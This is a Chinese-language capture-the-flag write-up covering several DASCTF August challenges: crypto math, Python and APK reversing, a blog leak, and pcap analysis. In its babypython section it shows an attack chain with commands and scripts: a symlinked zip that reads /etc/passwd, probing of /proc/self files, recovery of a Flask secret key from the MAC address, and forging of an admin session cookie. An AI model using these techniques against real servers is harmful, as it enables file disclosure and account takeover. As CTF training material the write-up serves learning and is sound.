Contents

DASCTF八月挑战赛writeup

0x00 easymath

题目代码

1
2
3
assert(len(open('flag.txt', 'rb').read()) < 50)
assert(str(int.from_bytes(open('flag.txt', 'rb').read(), byteorder='big') << 10000).endswith(
 '1862790884563160582365888530869690397667546628710795031544304378154769559410473276482265448754388655981091313419549689169381115573539422545933044902527020209259938095466283008'))

简单搜索,发现https://ctftime.org/writeup/22374有道类似的题目,修改后跑一下脚本。

1
2
3
4
5
c = 1862790884563160582365888530869690397667546628710795031544304378154769559410473276482265448754388655981091313419549689169381115573539422545933044902527020209259938095466283008
mod = 5 ** 175
phi = 5 ** 175 - 5 ** 174
inv = pow(pow(2, 10000, mod), phi - 1, mod)
print(((c * inv) % mod).to_bytes(50, byteorder='big'))

0x01 寒王’s blog

题目:http://hanwang2333.gitee.io/ 你滴寒王写了blog,看看寒王不小心留下了什么信息?

猜测需要找到flag.jpg

扫描后台没有结果,因为blog是部署在码云上的,所以去看看。果然在一个分支里面找到了。

按照blog上的操作解密一下,得到flag{50aa7fe02602264e7d8102746416cd74}

0x02 py

下载下来是个py.exe,没做过这种逆向的,参考https://www.cnblogs.com/pluie/p/13621823.htmlhttps://blog.csdn.net/weixin_44013208/article/details/88544142,用pyinstxtractor把exe转为pyc文件。

找到py文件,在用010editor打开,插入03F30D0A000000,将其重命名为py.pyc。

再用如下命令,转成python程序

uncompyle6 -o 生成文件.py 目标文件.pyc

代码:


def encode(s):
    str = ''
    for i in range(len(s)):
        res = ord(s[i]) ^ 32
        res += 31
        str += chr(res)

    return str


m = 'ek`fz13b3c5e047b`bd`0/c268e600e7c5d1`|'
strings = ''
strings = input('Input:')
if encode(strings) == m:
    print 'Correct!'
else:
    print 'Try again!'

写个简单的解密

m = 'ek`fz13b3c5e047b`bd`0/c268e600e7c5d1`|'
str = ''
for i in range(len(m)):
	res = ord(m[i]) - 31
	res = res ^ 32
	str += chr(res)
print (str)

得到结果flag{24c4d6f158cacea10d379f711f8d6e2a}

0x03 apkrev

用模拟器打开

jeb反编译后发现,加密函数和密文都在libnative-test.so这个文件里面。

找到x86下对应的文件,进入ida分析,在函数窗口搜索mycheck就能定位。

貌似需要用到动态调试,这里先留一个坑。https://blog.csdn.net/freeking101/article/details/106701908https://bbs.pediy.com/thread-269129.htm

0x04 babypython[国赛总决赛复现]

这题拿了先搜一下,发现和[HCTF 2018]Hide and seek很相似,于是参考文章

创建一个软链接指向服务器上的文件,试试看能不能读取。

ln -s /etc/passwd link1
zip -y link1.zip link1

发现成功读到了。

尝试读取/proc/self/environ提示you bad bad!,怀疑这里被过滤了。

linux提供了/proc/self/目录,这个目录比较独特,不同的进程访问该目录时获得的信息是不同的,
内容等价于/proc/本进程pid/。进程可以通过访问/proc/self/目录来获取自己的信息。


maps 记录一些调用的扩展或者自定义 so 文件

environ 环境变量

comm 当前进程运行的程序

cmdline 程序运行的绝对路径

cpuset docker 环境可以看 machine ID

cgroup docker环境下全是 machine ID 不太常用

根据之前的writeup,admin账号应该就是靠cookie或者session验证的,所以查看一下页面cookie信息。确实发现了一个session。

https://jwt.io/#debugger-io上面解析一下。

参考大佬的过程https://www.wolai.com/atao/hf4yLDPzB1rq471j4HMXDe,是通过/app/y0u_found_it.ini来获取,不是很能理解为什么跳到这一步了。这里尝试绕过,但没有成功,迷茫。不过省去这两步,直接当原题套过程也能拿到flag。

接着试/app/y0u_found_it/y0u_found_it_main.py,获取到源代码。

# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import secret
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)
    if not 'username' in session:
        session['username'] = "guest"
    
    if 'username' in session:
        return render_template('index.html', user=session['username'], secret=secret.secret)
    else:
        
        return render_template('index.html')


@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None
    
    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('ZmxhZw==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='127.0.0.1', debug=False, port=10008)

分析app.config['SECRET_KEY'] = str(random.random()*100)可以发现,所谓的SECRET_KEY是由随机数生成的一串字符串,而设置随机数种子的random.seed(uuid.getnode())的函数可以获取网卡mac地址并转换成十进制数返回,进而生成伪随机数。查找资料发现,可以通过/sys/class/net/eth0/address来获取MAC地址。

在这里插入图片描述

获取到为02:42:ac:10:98:e8,跑下一脚本

import uuid
import random

mac = "02:42:ac:10:98:e8"
temp = mac.split(':')
temp = [int(i,16) for i in temp]
temp = [bin(i).replace('0b','').zfill(8) for i in temp]
temp = ''.join(temp)
mac = int(temp,2)
random.seed(mac)
randStr = str(random.random()*100)
print(randStr)

得到结果77.82254010793636,再用flask-session-cookie-manager工具加密下,得到admin的sessio。

python3 flask_session_cookie_manager3.py encode -s '77.82254010793636' -t "{u'username':u'admin'}"

bp抓包提交下

0x05 stealer

题目:那女孩对我说说我是一个小偷

打开后dns and ip.src==172.27.221.13过滤一下,发现存在base64的图片

使用tshark -r "dump.pcapng" -R "dns and ip.src==172.27.221.13" -2 -T fields -e _ws.col.Info>1.txt命令提取所有的info字段。然后进行处理

操作:
1、去除多余字符串”Standard query 0x.* A”、”ctf.com.cn OPT”、”-.”、“.”
2、将“*”替换为“+”
3、去掉换行

然后丢到cyberchef里面去